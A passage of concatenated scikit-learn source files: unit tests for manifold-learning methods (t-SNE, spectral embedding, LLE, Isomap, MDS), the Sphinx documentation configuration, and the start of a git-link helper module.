    X = random_state.randn(5, 2)

    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        tsne.fit_transform(X)
    finally:
        out = sys.stdout.getvalue()
        sys.stdout.close()
        sys.stdout = old_stdout

    assert("[t-SNE]" in out)
    assert("Computing pairwise distances" in out)
    assert("Computed conditional probabilities" in out)
    assert("Mean sigma" in out)
    assert("Finished" in out)
    assert("early exaggeration" in out)
    assert("Finished" in out)


def test_chebyshev_metric():
    # t-SNE should allow metrics that cannot be squared (issue #3526).
    random_state = check_random_state(0)
    tsne = TSNE(metric="chebyshev")
    X = random_state.randn(5, 2)
    tsne.fit_transform(X)


def test_reduction_to_one_component():
    # t-SNE should allow reduction to one component (issue #4154).
    random_state = check_random_state(0)
    tsne = TSNE(n_components=1)
    X = random_state.randn(5, 2)
    X_embedded = tsne.fit(X).embedding_
    assert(np.all(np.isfinite(X_embedded)))


def test_no_sparse_on_barnes_hut():
    # No sparse matrices allowed on Barnes-Hut.
    random_state = check_random_state(0)
    X = random_state.randn(100, 2)
    X[(np.random.randint(0, 100, 50), np.random.randint(0, 2, 50))] = 0.0
    X_csr = sp.csr_matrix(X)
    tsne = TSNE(n_iter=199, method='barnes_hut')
    assert_raises_regexp(TypeError, "A sparse matrix was.*",
                         tsne.fit_transform, X_csr)


def test_64bit():
    # Ensure 64bit arrays are handled correctly.
    random_state = check_random_state(0)
    methods = ['barnes_hut', 'exact']
    for method in methods:
        for dt in [np.float32, np.float64]:
            X = random_state.randn(100, 2).astype(dt)
            tsne = TSNE(n_components=2, perplexity=2, learning_rate=100.0,
                        random_state=0, method=method)
            tsne.fit_transform(X)


def test_barnes_hut_angle():
    # When Barnes-Hut's angle=0 this corresponds to the exact method.
    angle = 0.0
    perplexity = 10
    n_samples = 100
    for n_components in [2, 3]:
        n_features = 5
        degrees_of_freedom = float(n_components - 1.0)

        random_state = check_random_state(0)
        distances = random_state.randn(n_samples, n_features)
        distances = distances.astype(np.float32)
        distances = distances.dot(distances.T)
        np.fill_diagonal(distances, 0.0)
        params = random_state.randn(n_samples, n_components)
        P = _joint_probabilities(distances, perplexity, False)
        kl, gradex = _kl_divergence(params, P, degrees_of_freedom, n_samples,
                                    n_components)

        k = n_samples - 1
        bt = BallTree(distances)
        distances_nn, neighbors_nn = bt.query(distances, k=k + 1)
        neighbors_nn = neighbors_nn[:, 1:]
        Pbh = _joint_probabilities_nn(distances, neighbors_nn,
                                      perplexity, False)
        kl, gradbh = _kl_divergence_bh(params, Pbh, neighbors_nn,
                                       degrees_of_freedom, n_samples,
                                       n_components, angle=angle,
                                       skip_num_points=0, verbose=False)
        assert_array_almost_equal(Pbh, P, decimal=5)
        assert_array_almost_equal(gradex, gradbh, decimal=5)


def test_quadtree_similar_point():
    # Introduce a point into a quad tree where a similar point already exists.
    # Test will hang if it doesn't complete.
    Xs = []

    # check the case where points are actually different
    Xs.append(np.array([[1, 2], [3, 4]], dtype=np.float32))
    # check the case where points are the same on X axis
    Xs.append(np.array([[1.0, 2.0], [1.0, 3.0]], dtype=np.float32))
    # check the case where points are arbitrarily close on X axis
    Xs.append(np.array([[1.00001, 2.0], [1.00002, 3.0]], dtype=np.float32))
    # check the case where points are the same on Y axis
    Xs.append(np.array([[1.0, 2.0], [3.0, 2.0]], dtype=np.float32))
    # check the case where points are arbitrarily close on Y axis
    Xs.append(np.array([[1.0, 2.00001], [3.0, 2.00002]], dtype=np.float32))
    # check the case where points are arbitrarily close on both axes
    Xs.append(np.array([[1.00001, 2.00001], [1.00002, 2.00002]],
              dtype=np.float32))

    # check the case where points are arbitrarily close on both axes
    # close to machine epsilon - x axis
    Xs.append(np.array([[1, 0.0003817754041], [2, 0.0003817753750]],
              dtype=np.float32))

    # check the case where points are arbitrarily close on both axes
    # close to machine epsilon - y axis
    Xs.append(np.array([[0.0003817754041, 1.0], [0.0003817753750, 2.0]],
              dtype=np.float32))

    for X in Xs:
        counts = np.zeros(3, dtype='int64')
        _barnes_hut_tsne.check_quadtree(X, counts)
        m = "Tree consistency failed: unexpected number of points at root node"
        assert_equal(counts[0], counts[1], m)
        m = "Tree consistency failed: unexpected number of points on the tree"
        assert_equal(counts[0], counts[2], m)


def test_index_offset():
    # Make sure translating between 1D and N-D indices are preserved
    assert_equal(_barnes_hut_tsne.test_index2offset(), 1)
    assert_equal(_barnes_hut_tsne.test_index_offset(), 1)






from nose.tools import assert_true
from nose.tools import assert_equal

from scipy.sparse import csr_matrix
from scipy.sparse import csc_matrix
from scipy.sparse import coo_matrix
from scipy.linalg import eigh
import numpy as np
from numpy.testing import assert_array_almost_equal
from numpy.testing import assert_array_equal

from nose.tools import assert_raises
from nose.plugins.skip import SkipTest

from sklearn.manifold.spectral_embedding_ import SpectralEmbedding
from sklearn.manifold.spectral_embedding_ import _graph_is_connected
from sklearn.manifold.spectral_embedding_ import _graph_connected_component
from sklearn.manifold import spectral_embedding
from sklearn.metrics.pairwise import rbf_kernel
from sklearn.metrics import normalized_mutual_info_score
from sklearn.cluster import KMeans
from sklearn.datasets.samples_generator import make_blobs
from sklearn.utils.graph import graph_laplacian
from sklearn.utils.extmath import _deterministic_vector_sign_flip


# non centered, sparse centers to check the
centers = np.array([
    [0.0, 5.0, 0.0, 0.0, 0.0],
    [0.0, 0.0, 4.0, 0.0, 0.0],
    [1.0, 0.0, 0.0, 5.0, 1.0],
])
n_samples = 1000
n_clusters, n_features = centers.shape
S, true_labels = make_blobs(n_samples=n_samples, centers=centers,
                            cluster_std=1., random_state=42)


def _check_with_col_sign_flipping(A, B, tol=0.0):
    """ Check array A and B are equal with possible sign flipping on
    each columns"""
    sign = True
    for column_idx in range(A.shape[1]):
        sign = sign and ((((A[:, column_idx] -
                            B[:, column_idx]) ** 2).mean() <= tol ** 2) or
                         (((A[:, column_idx] +
                            B[:, column_idx]) ** 2).mean() <= tol ** 2))
        if not sign:
            return False
    return True


def test_sparse_graph_connected_component():
    rng = np.random.RandomState(42)
    n_samples = 300
    boundaries = [0, 42, 121, 200, n_samples]
    p = rng.permutation(n_samples)
    connections = []

    for start, stop in zip(boundaries[:-1], boundaries[1:]):
        group = p[start:stop]
        # Connect all elements within the group at least once via an
        # arbitrary path that spans the group.
        for i in range(len(group) - 1):
            connections.append((group[i], group[i + 1]))

        # Add some more random connections within the group
        min_idx, max_idx = 0, len(group) - 1
        n_random_connections = 1000
        source = rng.randint(min_idx, max_idx, size=n_random_connections)
        target = rng.randint(min_idx, max_idx, size=n_random_connections)
        connections.extend(zip(group[source], group[target]))

    # Build a symmetric affinity matrix
    row_idx, column_idx = tuple(np.array(connections).T)
    data = rng.uniform(.1, 42, size=len(connections))
    affinity = coo_matrix((data, (row_idx, column_idx)))
    affinity = 0.5 * (affinity + affinity.T)

    for start, stop in zip(boundaries[:-1], boundaries[1:]):
        component_1 = _graph_connected_component(affinity, p[start])
        component_size = stop - start
        assert_equal(component_1.sum(), component_size)

        # We should retrieve the same component mask by starting by both ends
        # of the group
        component_2 = _graph_connected_component(affinity, p[stop - 1])
        assert_equal(component_2.sum(), component_size)
        assert_array_equal(component_1, component_2)


def test_spectral_embedding_two_components(seed=36):
    # Test spectral embedding with two components
    random_state = np.random.RandomState(seed)
    n_sample = 100
    affinity = np.zeros(shape=[n_sample * 2, n_sample * 2])
    # first component
    affinity[0:n_sample,
             0:n_sample] = np.abs(random_state.randn(n_sample, n_sample)) + 2
    # second component
    affinity[n_sample::,
             n_sample::] = np.abs(random_state.randn(n_sample, n_sample)) + 2

    # Test of internal _graph_connected_component before connection
    component = _graph_connected_component(affinity, 0)
    assert_true(component[:n_sample].all())
    assert_true(not component[n_sample:].any())
    component = _graph_connected_component(affinity, -1)
    assert_true(not component[:n_sample].any())
    assert_true(component[n_sample:].all())

    # connection
    affinity[0, n_sample + 1] = 1
    affinity[n_sample + 1, 0] = 1
    affinity.flat[::2 * n_sample + 1] = 0
    affinity = 0.5 * (affinity + affinity.T)

    true_label = np.zeros(shape=2 * n_sample)
    true_label[0:n_sample] = 1

    se_precomp = SpectralEmbedding(n_components=1, affinity="precomputed",
                                   random_state=np.random.RandomState(seed))
    embedded_coordinate = se_precomp.fit_transform(affinity)
    # Some numpy versions are touchy with types
    embedded_coordinate = \
        se_precomp.fit_transform(affinity.astype(np.float32))
    # thresholding on the first components using 0.
    label_ = np.array(embedded_coordinate.ravel() < 0, dtype="float")
    assert_equal(normalized_mutual_info_score(true_label, label_), 1.0)


def test_spectral_embedding_precomputed_affinity(seed=36):
    # Test spectral embedding with precomputed kernel
    gamma = 1.0
    se_precomp = SpectralEmbedding(n_components=2, affinity="precomputed",
                                   random_state=np.random.RandomState(seed))
    se_rbf = SpectralEmbedding(n_components=2, affinity="rbf",
                               gamma=gamma,
                               random_state=np.random.RandomState(seed))
    embed_precomp = se_precomp.fit_transform(rbf_kernel(S, gamma=gamma))
    embed_rbf = se_rbf.fit_transform(S)
    assert_array_almost_equal(
        se_precomp.affinity_matrix_, se_rbf.affinity_matrix_)
    assert_true(_check_with_col_sign_flipping(embed_precomp, embed_rbf, 0.05))


def test_spectral_embedding_callable_affinity(seed=36):
    # Test spectral embedding with callable affinity
    gamma = 0.9
    kern = rbf_kernel(S, gamma=gamma)
    se_callable = SpectralEmbedding(n_components=2,
                                    affinity=(
                                        lambda x: rbf_kernel(x, gamma=gamma)),
                                    gamma=gamma,
                                    random_state=np.random.RandomState(seed))
    se_rbf = SpectralEmbedding(n_components=2, affinity="rbf",
                               gamma=gamma,
                               random_state=np.random.RandomState(seed))
    embed_rbf = se_rbf.fit_transform(S)
    embed_callable = se_callable.fit_transform(S)
    assert_array_almost_equal(
        se_callable.affinity_matrix_, se_rbf.affinity_matrix_)
    assert_array_almost_equal(kern, se_rbf.affinity_matrix_)
    assert_true(
        _check_with_col_sign_flipping(embed_rbf, embed_callable, 0.05))


def test_spectral_embedding_amg_solver(seed=36):
    # Test spectral embedding with amg solver
    try:
        from pyamg import smoothed_aggregation_solver
    except ImportError:
        raise SkipTest("pyamg not available.")

    se_amg = SpectralEmbedding(n_components=2, affinity="nearest_neighbors",
                               eigen_solver="amg", n_neighbors=5,
                               random_state=np.random.RandomState(seed))
    se_arpack = SpectralEmbedding(n_components=2, affinity="nearest_neighbors",
                                  eigen_solver="arpack", n_neighbors=5,
                                  random_state=np.random.RandomState(seed))
    embed_amg = se_amg.fit_transform(S)
    embed_arpack = se_arpack.fit_transform(S)
    assert_true(_check_with_col_sign_flipping(embed_amg, embed_arpack, 0.05))


def test_pipeline_spectral_clustering(seed=36):
    # Test using pipeline to do spectral clustering
    random_state = np.random.RandomState(seed)
    se_rbf = SpectralEmbedding(n_components=n_clusters,
                               affinity="rbf",
                               random_state=random_state)
    se_knn = SpectralEmbedding(n_components=n_clusters,
                               affinity="nearest_neighbors",
                               n_neighbors=5,
                               random_state=random_state)
    for se in [se_rbf, se_knn]:
        km = KMeans(n_clusters=n_clusters, random_state=random_state)
        km.fit(se.fit_transform(S))
        assert_array_almost_equal(
            normalized_mutual_info_score(
                km.labels_,
                true_labels), 1.0, 2)


def test_spectral_embedding_unknown_eigensolver(seed=36):
    # Test that SpectralClustering fails with an unknown eigensolver
    se = SpectralEmbedding(n_components=1, affinity="precomputed",
                           random_state=np.random.RandomState(seed),
                           eigen_solver="<unknown>")
    assert_raises(ValueError, se.fit, S)


def test_spectral_embedding_unknown_affinity(seed=36):
    # Test that SpectralClustering fails with an unknown affinity type
    se = SpectralEmbedding(n_components=1, affinity="<unknown>",
                           random_state=np.random.RandomState(seed))
    assert_raises(ValueError, se.fit, S)


def test_connectivity(seed=36):
    # Test that graph connectivity test works as expected
    graph = np.array([[1, 0, 0, 0, 0],
                      [0, 1, 1, 0, 0],
                      [0, 1, 1, 1, 0],
                      [0, 0, 1, 1, 1],
                      [0, 0, 0, 1, 1]])
    assert_equal(_graph_is_connected(graph), False)
    assert_equal(_graph_is_connected(csr_matrix(graph)), False)
    assert_equal(_graph_is_connected(csc_matrix(graph)), False)
    graph = np.array([[1, 1, 0, 0, 0],
                      [1, 1, 1, 0, 0],
                      [0, 1, 1, 1, 0],
                      [0, 0, 1, 1, 1],
                      [0, 0, 0, 1, 1]])
    assert_equal(_graph_is_connected(graph), True)
    assert_equal(_graph_is_connected(csr_matrix(graph)), True)
    assert_equal(_graph_is_connected(csc_matrix(graph)), True)


def test_spectral_embedding_deterministic():
    # Test that Spectral Embedding is deterministic
    random_state = np.random.RandomState(36)
    data = random_state.randn(10, 30)
    sims = rbf_kernel(data)
    embedding_1 = spectral_embedding(sims)
    embedding_2 = spectral_embedding(sims)
    assert_array_almost_equal(embedding_1, embedding_2)


def test_spectral_embedding_unnormalized():
    # Test that spectral_embedding is also processing unnormalized laplacian
    # correctly
    random_state = np.random.RandomState(36)
    data = random_state.randn(10, 30)
    sims = rbf_kernel(data)
    n_components = 8
    embedding_1 = spectral_embedding(sims,
                                     norm_laplacian=False,
                                     n_components=n_components,
                                     drop_first=False)

    # Verify using manual computation with dense eigh
    laplacian, dd = graph_laplacian(sims, normed=False, return_diag=True)
    _, diffusion_map = eigh(laplacian)
    embedding_2 = diffusion_map.T[:n_components] * dd
    embedding_2 = _deterministic_vector_sign_flip(embedding_2).T

    assert_array_almost_equal(embedding_1, embedding_2)






from itertools import product
from nose.tools import assert_true

import numpy as np
from numpy.testing import assert_almost_equal, assert_array_almost_equal
from scipy import linalg

from sklearn import neighbors, manifold
from sklearn.manifold.locally_linear import barycenter_kneighbors_graph
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_raise_message

eigen_solvers = ['dense', 'arpack']


# ----------------------------------------------------------------------
# Test utility routines
def test_barycenter_kneighbors_graph():
    X = np.array([[0, 1], [1.01, 1.], [2, 0]])

    A = barycenter_kneighbors_graph(X, 1)
    assert_array_almost_equal(
        A.toarray(),
        [[0.,  1.,  0.],
         [1.,  0.,  0.],
         [0.,  1.,  0.]])

    A = barycenter_kneighbors_graph(X, 2)
    # check that columns sum to one
    assert_array_almost_equal(np.sum(A.toarray(), 1), np.ones(3))
    pred = np.dot(A.toarray(), X)
    assert_less(linalg.norm(pred - X) / X.shape[0], 1)


# ----------------------------------------------------------------------
# Test LLE by computing the reconstruction error on some manifolds.

def test_lle_simple_grid():
    # note: ARPACK is numerically unstable, so this test will fail for
    #       some random seeds.  We choose 2 because the tests pass.
    rng = np.random.RandomState(2)

    # grid of equidistant points in 2D, n_components = n_dim
    X = np.array(list(product(range(5), repeat=2)))
    X = X + 1e-10 * rng.uniform(size=X.shape)
    n_components = 2
    clf = manifold.LocallyLinearEmbedding(n_neighbors=5,
                                          n_components=n_components,
                                          random_state=rng)
    tol = 0.1

    N = barycenter_kneighbors_graph(X, clf.n_neighbors).toarray()
    reconstruction_error = linalg.norm(np.dot(N, X) - X, 'fro')
    assert_less(reconstruction_error, tol)

    for solver in eigen_solvers:
        clf.set_params(eigen_solver=solver)
        clf.fit(X)
        assert_true(clf.embedding_.shape[1] == n_components)
        reconstruction_error = linalg.norm(
            np.dot(N, clf.embedding_) - clf.embedding_, 'fro') ** 2

        assert_less(reconstruction_error, tol)
        assert_almost_equal(clf.reconstruction_error_,
                            reconstruction_error, decimal=1)

    # re-embed a noisy version of X using the transform method
    noise = rng.randn(*X.shape) / 100
    X_reembedded = clf.transform(X + noise)
    assert_less(linalg.norm(X_reembedded - clf.embedding_), tol)


def test_lle_manifold():
    rng = np.random.RandomState(0)
    # similar test on a slightly more complex manifold
    X = np.array(list(product(np.arange(18), repeat=2)))
    X = np.c_[X, X[:, 0] ** 2 / 18]
    X = X + 1e-10 * rng.uniform(size=X.shape)
    n_components = 2
    for method in ["standard", "hessian", "modified", "ltsa"]:
        clf = manifold.LocallyLinearEmbedding(n_neighbors=6,
                                              n_components=n_components,
                                              method=method, random_state=0)
        tol = 1.5 if method == "standard" else 3

        N = barycenter_kneighbors_graph(X, clf.n_neighbors).toarray()
        reconstruction_error = linalg.norm(np.dot(N, X) - X)
        assert_less(reconstruction_error, tol)

        for solver in eigen_solvers:
            clf.set_params(eigen_solver=solver)
            clf.fit(X)
            assert_true(clf.embedding_.shape[1] == n_components)
            reconstruction_error = linalg.norm(
                np.dot(N, clf.embedding_) - clf.embedding_, 'fro') ** 2
            details = ("solver: %s, method: %s" % (solver, method))
            assert_less(reconstruction_error, tol, msg=details)
            assert_less(np.abs(clf.reconstruction_error_ -
                               reconstruction_error),
                        tol * reconstruction_error, msg=details)


# Test the error raised when parameter passed to lle is invalid
def test_lle_init_parameters():
    X = np.random.rand(5, 3)

    clf = manifold.LocallyLinearEmbedding(eigen_solver="error")
    msg = "unrecognized eigen_solver 'error'"
    assert_raise_message(ValueError, msg, clf.fit, X)

    clf = manifold.LocallyLinearEmbedding(method="error")
    msg = "unrecognized method 'error'"
    assert_raise_message(ValueError, msg, clf.fit, X)


def test_pipeline():
    # check that LocallyLinearEmbedding works fine as a Pipeline
    # only checks that no error is raised.
    # TODO check that it actually does something useful
    from sklearn import pipeline, datasets
    X, y = datasets.make_blobs(random_state=0)
    clf = pipeline.Pipeline(
        [('filter', manifold.LocallyLinearEmbedding(random_state=0)),
         ('clf', neighbors.KNeighborsClassifier())])
    clf.fit(X, y)
    assert_less(.9, clf.score(X, y))


# Test the error raised when the weight matrix is singular
def test_singular_matrix():
    from nose.tools import assert_raises
    M = np.ones((10, 3))
    f = ignore_warnings
    assert_raises(ValueError, f(manifold.locally_linear_embedding),
                  M, 2, 1, method='standard', eigen_solver='arpack')












from itertools import product
import numpy as np
from numpy.testing import (assert_almost_equal, assert_array_almost_equal,
                           assert_equal)

from sklearn import datasets
from sklearn import manifold
from sklearn import neighbors
from sklearn import pipeline
from sklearn import preprocessing
from sklearn.utils.testing import assert_less

eigen_solvers = ['auto', 'dense', 'arpack']
path_methods = ['auto', 'FW', 'D']


def test_isomap_simple_grid():
    # Isomap should preserve distances when all neighbors are used
    N_per_side = 5
    Npts = N_per_side ** 2
    n_neighbors = Npts - 1

    # grid of equidistant points in 2D, n_components = n_dim
    X = np.array(list(product(range(N_per_side), repeat=2)))

    # distances from each point to all others
    G = neighbors.kneighbors_graph(X, n_neighbors,
                                   mode='distance').toarray()

    for eigen_solver in eigen_solvers:
        for path_method in path_methods:
            clf = manifold.Isomap(n_neighbors=n_neighbors, n_components=2,
                                  eigen_solver=eigen_solver,
                                  path_method=path_method)
            clf.fit(X)

            G_iso = neighbors.kneighbors_graph(clf.embedding_,
                                               n_neighbors,
                                               mode='distance').toarray()
            assert_array_almost_equal(G, G_iso)


def test_isomap_reconstruction_error():
    # Same setup as in test_isomap_simple_grid, with an added dimension
    N_per_side = 5
    Npts = N_per_side ** 2
    n_neighbors = Npts - 1

    # grid of equidistant points in 2D, n_components = n_dim
    X = np.array(list(product(range(N_per_side), repeat=2)))

    # add noise in a third dimension
    rng = np.random.RandomState(0)
    noise = 0.1 * rng.randn(Npts, 1)
    X = np.concatenate((X, noise), 1)

    # compute input kernel
    G = neighbors.kneighbors_graph(X, n_neighbors,
                                   mode='distance').toarray()

    centerer = preprocessing.KernelCenterer()
    K = centerer.fit_transform(-0.5 * G ** 2)

    for eigen_solver in eigen_solvers:
        for path_method in path_methods:
            clf = manifold.Isomap(n_neighbors=n_neighbors, n_components=2,
                                  eigen_solver=eigen_solver,
                                  path_method=path_method)
            clf.fit(X)

            # compute output kernel
            G_iso = neighbors.kneighbors_graph(clf.embedding_,
                                               n_neighbors,
                                               mode='distance').toarray()

            K_iso = centerer.fit_transform(-0.5 * G_iso ** 2)

            # make sure error agrees
            reconstruction_error = np.linalg.norm(K - K_iso) / Npts
            assert_almost_equal(reconstruction_error,
                                clf.reconstruction_error())


def test_transform():
    n_samples = 200
    n_components = 10
    noise_scale = 0.01

    # Create S-curve dataset
    X, y = datasets.samples_generator.make_s_curve(n_samples, random_state=0)

    # Compute isomap embedding
    iso = manifold.Isomap(n_components, 2)
    X_iso = iso.fit_transform(X)

    # Re-embed a noisy version of the points
    rng = np.random.RandomState(0)
    noise = noise_scale * rng.randn(*X.shape)
    X_iso2 = iso.transform(X + noise)

    # Make sure the rms error on re-embedding is comparable to noise_scale
    assert_less(np.sqrt(np.mean((X_iso - X_iso2) ** 2)), 2 * noise_scale)


def test_pipeline():
    # check that Isomap works fine as a transformer in a Pipeline
    # only checks that no error is raised.
    # TODO check that it actually does something useful
    X, y = datasets.make_blobs(random_state=0)
    clf = pipeline.Pipeline(
        [('isomap', manifold.Isomap()),
         ('clf', neighbors.KNeighborsClassifier())])
    clf.fit(X, y)
    assert_less(.9, clf.score(X, y))


def test_isomap_clone_bug():
    # regression test for bug reported in #6062
    model = manifold.Isomap()
    for n_neighbors in [10, 15, 20]:
        model.set_params(n_neighbors=n_neighbors)
        model.fit(np.random.rand(50, 2))
        assert_equal(model.nbrs_.n_neighbors,
                     n_neighbors)






import numpy as np
from numpy.testing import assert_array_almost_equal

from nose.tools import assert_raises
from sklearn.manifold import mds


def test_smacof():
    # test metric smacof using the data of "Modern Multidimensional Scaling",
    # Borg & Groenen, p 154
    sim = np.array([[0, 5, 3, 4],
                    [5, 0, 2, 2],
                    [3, 2, 0, 1],
                    [4, 2, 1, 0]])
    Z = np.array([[-.266, -.539],
                  [.451, .252],
                  [.016, -.238],
                  [-.200, .524]])
    X, _ = mds.smacof(sim, init=Z, n_components=2, max_iter=1, n_init=1)
    X_true = np.array([[-1.415, -2.471],
                       [1.633, 1.107],
                       [.249, -.067],
                       [-.468, 1.431]])
    assert_array_almost_equal(X, X_true, decimal=3)


def test_smacof_error():
    # Not symmetric similarity matrix:
    sim = np.array([[0, 5, 9, 4],
                    [5, 0, 2, 2],
                    [3, 2, 0, 1],
                    [4, 2, 1, 0]])

    assert_raises(ValueError, mds.smacof, sim)

    # Not squared similarity matrix:
    sim = np.array([[0, 5, 9, 4],
                    [5, 0, 2, 2],
                    [4, 2, 1, 0]])

    assert_raises(ValueError, mds.smacof, sim)

    # init not None and not correct format:
    sim = np.array([[0, 5, 3, 4],
                    [5, 0, 2, 2],
                    [3, 2, 0, 1],
                    [4, 2, 1, 0]])

    Z = np.array([[-.266, -.539],
                  [.016, -.238],
                  [-.200, .524]])
    assert_raises(ValueError, mds.smacof, sim, init=Z, n_init=1)


def test_MDS():
    sim = np.array([[0, 5, 3, 4],
                    [5, 0, 2, 2],
                    [3, 2, 0, 1],
                    [4, 2, 1, 0]])
    mds_clf = mds.MDS(metric=False, n_jobs=3, dissimilarity="precomputed")
    mds_clf.fit(sim)






# -*- coding: utf-8 -*-
#
# scikit-learn documentation build configuration file, created by
# sphinx-quickstart on Fri Jan  8 09:13:42 2010.
#
# This file is execfile()d with the current directory set to its containing
# dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

from __future__ import print_function
import sys
import os
from sklearn.externals.six import u

# If extensions (or modules to document with autodoc) are in another
# directory, add these directories to sys.path here. If the directory
# is relative to the documentation root, use os.path.abspath to make it
# absolute, like shown here.
sys.path.insert(0, os.path.abspath('sphinxext'))

from github_link import make_linkcode_resolve
import sphinx_gallery

# -- General configuration ---------------------------------------------------

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = [
    'sphinx.ext.autodoc', 'sphinx.ext.autosummary',
    'sphinx.ext.pngmath', 'numpy_ext.numpydoc',
    'sphinx.ext.linkcode', 'sphinx.ext.doctest',
    'sphinx_gallery.gen_gallery',
]

autodoc_default_flags = ['members', 'inherited-members']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['templates']

# generate autosummary even if no references
autosummary_generate = True

# The suffix of source filenames.
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8'

# Generate the plots for the gallery
plot_gallery = True

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u('scikit-learn')
copyright = u('2010 - 2016, scikit-learn developers (BSD License)')

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
import sklearn
version = sklearn.__version__
# The full version, including alpha/beta/rc tags.
release = sklearn.__version__

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of documents that shouldn't be included in the build.
#unused_docs = []

# List of directories, relative to source directory, that shouldn't be
# searched for source files.
exclude_trees = ['_build', 'templates', 'includes']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
add_function_parentheses = False

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []


# -- Options for HTML output -------------------------------------------------

# The theme to use for HTML and HTML Help pages.  Major themes that come with
# Sphinx are currently 'default' and 'sphinxdoc'.
html_theme = 'scikit-learn'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
html_theme_options = {'oldversion': False, 'collapsiblesidebar': True,
                      'google_analytics': True, 'surveybanner': False,
                      'sprintbanner': True}

# Add any paths that contain custom themes here, relative to this directory.
html_theme_path = ['themes']


# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
html_short_title = 'scikit-learn'

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
html_logo = 'logos/scikit-learn-logo-small.png'

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
html_favicon = 'logos/favicon.ico'

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['images']

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
html_domain_indices = False

# If false, no index is generated.
html_use_index = False

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = ''

# Output file base name for HTML help builder.
htmlhelp_basename = 'scikit-learndoc'


# -- Options for LaTeX output ------------------------------------------------

# The paper size ('letter' or 'a4').
#latex_paper_size = 'letter'

# The font size ('10pt', '11pt' or '12pt').
#latex_font_size = '10pt'

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, documentclass
# [howto/manual]).
latex_documents = [('index', 'user_guide.tex', u('scikit-learn user guide'),
                    u('scikit-learn developers'), 'manual'), ]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
latex_logo = "logos/scikit-learn-logo.png"

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# Additional stuff for the LaTeX preamble.
latex_preamble = r"""
\usepackage{amsmath}\usepackage{amsfonts}\usepackage{bm}\usepackage{morefloats}
\usepackage{enumitem} \setlistdepth{10}
"""

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
latex_domain_indices = False

trim_doctests_flags = True


sphinx_gallery_conf = {
    'doc_module': 'sklearn',
    'reference_url': {
        'sklearn': None,
        'matplotlib': 'http://matplotlib.org',
        'numpy': 'http://docs.scipy.org/doc/numpy-1.6.0',
        'scipy': 'http://docs.scipy.org/doc/scipy-0.11.0/reference',
        'nibabel': 'http://nipy.org/nibabel'}
}


# The following dictionary contains the information used to create the
# thumbnails for the front page of the scikit-learn home page.
# key: first image in set
# values: (number of plot in set, height of thumbnail)
carousel_thumbs = {'sphx_glr_plot_classifier_comparison_001.png': 600,
                   'sphx_glr_plot_outlier_detection_003.png': 372,
                   'sphx_glr_plot_gpr_co2_001.png': 350,
                   'sphx_glr_plot_adaboost_twoclass_001.png': 372,
                   'sphx_glr_plot_compare_methods_001.png': 349}


def make_carousel_thumbs(app, exception):
    """produces the final resized carousel images"""
    if exception is not None:
        return
    print('Preparing carousel images')

    image_dir = os.path.join(app.builder.outdir, '_images')
    for glr_plot, max_width in carousel_thumbs.items():
        image = os.path.join(image_dir, glr_plot)
        if os.path.exists(image):
            c_thumb = os.path.join(image_dir, glr_plot[:-4] + '_carousel.png')
            sphinx_gallery.gen_rst.scale_image(image, c_thumb, max_width, 190)


def setup(app):
    # to hide/show the prompt in code examples:
    app.add_javascript('js/copybutton.js')
    app.connect('build-finished', make_carousel_thumbs)


# The following is used by sphinx.ext.linkcode to provide links to github
linkcode_resolve = make_linkcode_resolve('sklearn',
                                         u'https://github.com/scikit-learn/'
                                         'scikit-learn/blob/{revision}/'
                                         '{package}/{path}#L{lineno}')






from operator import attrgetter
import inspect
import subprocess
import os
import sys
from functools import partial

REVISION_CMD = 'git rev-parse --short HEAD'


def _get_git_revision():
    try:
        revision = subprocess.check_output(REVISION_CMD.split()).strip()
    except (subprocess.CalledProcessError, OSError):
        print('Failed to execute git to get revision')
        return None
    return revision.decode('utf-8')


def _linkcode_resolve(domain, info, package, url_fmt, revision):
